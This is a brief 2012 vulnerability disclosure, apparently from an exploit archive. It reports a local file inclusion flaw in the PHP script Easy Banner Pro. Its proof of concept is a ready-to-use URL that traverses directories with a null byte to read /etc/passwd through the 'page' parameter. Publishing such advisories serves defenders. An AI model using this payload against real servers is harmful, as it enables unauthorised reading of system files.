20 lines
No EOL
867 B
Text
20 lines
No EOL
867 B
Text
-----------------------------------------------------------
|
|
Easy Banner Pro (index.php page) Local file inclusion
|
|
Bug discovered by Yakir Wizman
|
|
Date 24/08/2012
|
|
Vendor Homepage - http://www.phpwebscripts.com/easybannerpro/
|
|
Demo - http://www.scripts-demo.com/easybannerpro/
|
|
ISRAEL
|
|
-----------------------------------------------------------
|
|
Author will be not responsible for any damage.
|
|
-----------------------------------------------------------
|
|
|
|
About the Application
|
|
-----------------------------------------------------------
|
|
Easy Banner Pro is an advanced and very easy to use PHP script for running your own banner exchange system.
|
|
|
|
|
|
Proof Of Conecpt
|
|
-----------------------------------------------------------
|
|
Local file inclusion (Severity is high)
|
|
Vulnerable URL : http://server/easybannerpro/index.php?page=../../../../../../../../../../etc/passwd%00 |